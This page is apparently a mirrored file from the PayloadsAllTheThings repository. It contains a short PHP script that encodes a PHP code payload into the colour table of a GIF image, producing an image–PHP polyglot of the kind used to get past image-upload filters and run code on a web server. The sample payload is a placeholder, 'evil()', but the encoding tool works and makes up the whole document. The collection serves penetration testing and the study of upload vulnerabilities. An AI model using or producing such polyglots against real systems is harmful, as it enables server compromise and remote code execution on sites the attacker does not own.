mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-25 05:45:27 +00:00
22 lines
552 B
PHP
22 lines
552 B
PHP
|
<?php
|
||
|
// createGIFwithGlobalColorTable.php
|
||
|
$_file="example.gif";
|
||
|
$_payload="<?php evil();?>";
|
||
|
$_width=200;
|
||
|
$_height=200;
|
||
|
if(strlen($_payload)%3!=0){
|
||
|
echo "payload%3==0 !"; exit();
|
||
|
}
|
||
|
$im = imagecreate($_width, $_height);
|
||
|
$_hex=unpack('H*',$_payload);
|
||
|
|
||
|
$colors_hex=str_split($_hex[1], 6);
|
||
|
|
||
|
for($i=0; $i < count($colors_hex); $i++){
|
||
|
$_color_chunks=str_split($colors_hex[$i], 2);
|
||
|
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
|
||
|
imagesetpixel($im,$i,1,$color);
|
||
|
}
|
||
|
|
||
|
imagegif($im,$_file);
|
||
|
?>
|